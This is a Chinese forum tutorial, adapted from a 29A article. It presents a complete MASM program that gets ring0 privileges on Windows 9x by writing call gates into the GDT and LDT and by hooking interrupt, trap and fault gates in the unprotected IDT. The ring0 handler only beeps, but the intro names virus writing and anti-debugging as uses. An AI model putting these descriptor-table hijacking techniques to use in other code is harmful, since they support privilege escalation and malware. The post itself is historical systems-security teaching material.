閒來翻譯改寫灌水:Ring0許可權的取得(part1:9X)

看雪資料發表於2015-11-15

標 題:閒來翻譯改寫灌水:Ring0許可權的取得(part1:9X) (11千字)

發信人:hume 

詳細資訊:



comment  $/*
                Ring0許可權的取得(part1:9X)
                               
                                翻譯改寫: Hume/冷雨飄心
                                原文作者: Super/29A

windows執行在保護模式,保護模式將指令執行分為3個特權級,即眾所周知的ring0
~ring3,ring0意味著更多的權利,可以直接執行諸如訪問埠等操作,通常一般應用
程式執行於ring3,這沒有什麼不好,很好的限制了那些剛弄懂Turbo C的小孩搞破壞,
然而當我們需要ring0的時候,比如跟蹤,反跟蹤,寫病毒?麻煩就來了.進入ring0一般
要寫VxD或WDM驅動,然而,這對一般人來說並不那麼簡單,其實由於9X未對IDT,GDT,
LDT加以保護,可以利用這一點漏洞來進入ring0,這是一點入門介紹,其實,ring0也並
不難,下面就是根據Super/29A的文章用Masm改寫的例子,改進了一點並加了點註釋,
希望對你能有所啟發.

以前曾寫過用SEH進入ring0的例子.利用seh進入ring0是比較簡單的.下面假設你對
保護模式有所瞭解,如果遇到不懂的地方,趕緊翻翻保護模式教程.

NT/2K/Xp下ring0的取得是一個較困難的課題.關於2k下,webcrazy寫了一篇C教程,有
時間用ASM改寫一下.

雖然9X肯定會被淘汰,但對ring0的不懈追求將是一個永恆的主題.
*/$
.586p
.model flat, stdcall
option casemap :none  ; case sensitive
include hd.h
include mac.h

;;--------------
    .DATA
sztit  db "By Hume,2002",0

Freq  db 08h      ;發聲頻率
gdtR  df 0
idtR  df 0
ldtR  dw 0        ;the contents of GDTR,IDTR,LDTR

ldtDes dw 0       
      dw 0        ;LDT Limit   
      dd 0        ;LDT Base
Callgt dq 0        ;call gate's sel:off
;;-----------------------------------------
    .CODE
__Start:
    sgdt    fword ptr gdtR
        sidt    fword ptr idtR
        sldt    word ptr  ldtR      ;save them for later use

        ;-----------------------
        ; get the ldt mes
        ;-----------------------
        movzx  esi,ldtR
        add    esi,dword ptr [gdtR+2]

        mov    ax,word  ptr [esi]
        mov    word  ptr [ldtDes],ax
        mov    ax,word  ptr [esi+6]
        and    ax,0fh
        mov    word  ptr [ldtDes+2],ax        ;get ldt Limit
       
        mov    eax,[esi+2]
        and    eax,0ffffffh
        mov    ebx,[esi+4]
        and    ebx,0ff000000h
        add    eax,ebx
        mov    dword ptr [ldtDes+4],eax        ;get ldt Base
        ;-------------------------------------
        ; 這裡演示在GDT中尋找空白表項來製造呼叫門
        ;-------------------------------------
        mov    esi,dword ptr [gdtR+2]
        movzx  eax,word  ptr [gdtR]
        call    Search_XDT
                                                ;esi==gdt Base
        mov    esi,dword ptr [gdtR+2]
        push    offset myring0_prc_callgt
        pop    word  ptr [esi+eax+0]       
        pop    word  ptr [esi+eax+6]        ;Offset

        mov    word  ptr [esi+eax+2],28h
        mov    word  ptr [esi+eax+4],0EC00h  ;sel=28h and attribute ->386 call gate!

        and    dword ptr Callgt,0
       
        mov    word  ptr [Callgt+4],ax
        call    fword ptr [Callgt]            ;Ring0!

        ;--------------------------------------------
        ; 這裡演示在Ldt中製造呼叫門
        ;--------------------------------------------
        invoke    MessageBox,0,CTEXT("Call gate to Ring0!繼續?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;繼續演示?

        mov    esi,dword ptr [ldtDes+4]
        mov    eax,dword ptr [ldtDes]

        call    Search_XDT                    ;eax返回找到的空白選擇子
        mov    esi,dword ptr [ldtDes+4]

        push    offset myring0_prc_callgt
        pop    word  ptr [esi+eax+0]       
        pop    word  ptr [esi+eax+6]        ;Offset

        mov    word  ptr [esi+eax+2],28h
        mov    word  ptr [esi+eax+4],0EC00h  ;sel=28h and attribute ->386 call gate!

        and    dword ptr Callgt,0
        or      al,7h                        ;所以選擇子一定要指向LDT
        mov    word  ptr [Callgt+4],ax
        call    fword ptr [Callgt]            ;Ring0!

; *透過中斷門進入ring0,像在Dos下一樣,我們只要替換中斷向量表的地址以指向我們
; *自己的程式就可以了,不過在win下中斷向量表變為IDT(中斷描述符表),其第0~1儲存
; *中斷處理程式偏移的低16位,6~7位元組儲存偏移的高16位,我們必須使描述符具有DPL=3
; *以便在ring3下轉入中斷程式,而int 01h,03h,04h,05h,30h本來就是DPL=3,我們可
; *以方便地利用之,注意中斷處理程式返回用iret
        ;---------------------------
        ; 下面利用int 5進入ring0
        ;---------------------------
        invoke    MessageBox,0,CTEXT("Int gate to Ring0 By Int 5 !繼續?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;繼續演示?

        mov    esi,dword ptr [idtR+2]
        push    dword ptr [esi+8*5]
        push    dword ptr [esi+8*5+4]        ;儲存中斷描述符

        push    offset myring0_prc_Intgt
        pop    word  ptr [esi+8*5]
        pop    word  ptr [esi+8*5+6]
        int    5                            ;進入ring0!
        ;int    3                            ;//可選擇利用int 3
        ;db    0CCh                        ;//則儲存和恢復就改為8*3
        ;為了增強反跟蹤效果
        ;當然也可以利用int 1,方法一致不過可能在某些處理器上衝突                                       
        pop    dword ptr [esi+8*5+4]        ;恢復
        pop    dword ptr [esi+8*5+0]

; *當然,上面使用的全部是DPL=3的int如1,3,5等,如果我們準備使用任意int 來達到
; *目的該怎麼辦?這就需要自己改int descriptor 的屬性值,使DPL=3,sel=28h
; *如下面使用int 255
; *__________________________________________
        invoke    MessageBox,0,CTEXT("Int gate to Ring0 By Int X !繼續?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;繼續演示?

        movzx ebx,word ptr [idtR]  ;會是什麼?沒有關係
        sub ebx,7

        push dword ptr [esi+ebx+0] ; save IDT entry
        push dword ptr [esi+ebx+4]

        push offset myring0_prc_Intgt
        pop word ptr [esi+ebx+0]
        mov word ptr [esi+ebx+2],28h      ;ring0 Sel
        mov word ptr [esi+ebx+4],0EE00h  ;386中斷門,DPL=3
        pop word ptr [esi+ebx+6]

        mov eax,ebx
        shl eax,5
        add eax,90C300CDh

        push eax
        call esp                ; 在堆疊中形成指令 int 5Fh ret直接轉入執行!
        pop eax                  ; int呼叫,酷吧!

        pop dword ptr [esi+ebx+4]; 恢復
        pop dword ptr [esi+ebx+0]
; *
; *還有其他的方法進入ring0,如陷阱門,與中斷門基本一致,只不過是讓硬體自己產生中斷
; *我們則自己置TF=1引發之,注意在中斷處理中關閉TF,否則會造成死不斷單步,還有故障門,
; *產生故障之後注意cs:eip已經壓入堆疊,如果不改指令的話,就得自己修改eip指向安全地址
; *故障門的好處在於不必自己置sel為28h,也不必擔心DPL=0,作業系統為我們準備好了一切
; *我們只要替換int處理地址就行了,以下是簡單例子
; *__________________________________________
        invoke    MessageBox,0,CTEXT("Trap gate to Ring0 By Int 1!繼續?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;繼續演示?
        ;---------------------------------
        ; int1 單步陷阱或者int4 除法溢位陷阱
        ; 這裡演示int 1,int 4類似
        ; 這個和上面的有不同嗎,有!就是int 1
        ; 是由CPU而不是我們顯式用int 1指令引發
        ;---------------------------------
        push dword ptr [esi+(8*1)+0]      ; 儲存原int 1
        push dword ptr [esi+(8*1)+4] 

        push offset myring0_prc_Trapgt
        pop word ptr [esi+(8*1)+0]
        pop word ptr [esi+(8*1)+6]

        pushfd
        pop eax 
        or ah,1 
        push eax
        popfd          ; TF=1

        nop            ; ring0!

        pop dword ptr [esi+(8*1)+4]; restore IDT entry 
        pop dword ptr [esi+(8*1)+0]
        ;--------------------------------------------
        ; 這裡演示故障門,除法錯誤
        ;--------------------------------------------
        invoke    MessageBox,0,CTEXT("Fault gate to Ring0!繼續?"),addr sztit,MB_YESNO
        cmp    eax,IDNO
        jz      @xit000                      ;繼續演示?

        push dword ptr [esi+(8*0)+0]  ;                           
        push dword ptr [esi+(8*0)+4]                                             
                                                                                     
        push offset Ring0Code_div                                                 
        pop word ptr [esi+(8*0)+0]                                               
        pop word ptr [esi+(8*0)+6]             
                                                                                     
        xor eax,eax                                                               
        div eax                        ; 除法錯誤,進入故障門ring0!
;-----------------------------------------

@xit000:
        invoke    ExitProcess,0
;-----------------------------------------
Ring0Code_div proc far                                                       
                                                                             
        pushad                                                                   
        call Beeps                                                                 
        popad                                                                     
                                                                             
        add dword ptr [esp],2        ; 修改Eip,略過除錯指令繼續執行                         
                                                                             
        iretd                                                                     
                                                                             
Ring0Code_div endp                                                           

myring0_prc_Trapgt    proc    far
        pushad                  ;注意壓棧結構為
        mov    ecx,10          ;EIP
ambalance002:                  ;cs
        push    ecx            ;EFLAGS
        call    Beeps
        pop    ecx
        loop    ambalance002
        popad
        and    byte ptr [esp+9],0FEh ;一定要置TF=0,終止
        iretd                  ;注意iretd,不是iret(w)
myring0_prc_Trapgt    endp

myring0_prc_Intgt    proc      far
        pushad
        mov    ecx,10
ambalance001:
        push    ecx
        call    Beeps
        pop    ecx
        loop    ambalance001
        popad
        iretd               
myring0_prc_Intgt    endp

myring0_prc_callgt    proc  far
        pushad
        mov    ecx,10
ambalance:
        push    ecx
        call    Beeps
        pop    ecx
        loop    ambalance
        popad
        retf
myring0_prc_callgt    endp
;-----------------------------------------
Search_XDT proc near      ;entry esi==Base  of Ldt  or GDT
              ;Eax==Limit
    pushad     
    mov ebx,eax   
    mov eax,8        ; skipping null selector
@@1:       
    cmp dword ptr [esi+eax+0],0   
    jnz @@2 
    cmp dword ptr [esi+eax+4],0   
    jz @@3 
@@2:       
    add eax,8       
    cmp eax,ebx       
    jb @@1      ;if we haven't found any free GDT entry,
            ;lets use the last two entries       
    mov  eax,ebx     
    sub  eax,7         
@@3:     
    mov [esp+4*7],eax      ; return off in eax
    popad   
    ret       
Search_XDT endp
;-----------------------------------------
Beeps proc near                ;經典的發聲子程式,學dos的時候應該
    pushad                  ;沒少用吧...
    mov al,0B6h           
    out 43h,al 
    mov al,[Freq]          ;介面要求,不要多問

    out 42h,al 
    out 42h,al 

    xor byte ptr [Freq],0Ch     ; 換頻率
                 ; 以便下次發出不同的音高
    in al,61h
    or al,3 
    out 61h,al 
    mov ecx,1000000h        ;延時
    loop $

    and al,0FCh              ;關聲音
    out 61h,al 
    popad
    ret
Beeps endp 
END    __Start
___________________________________________________Over...___________

相關文章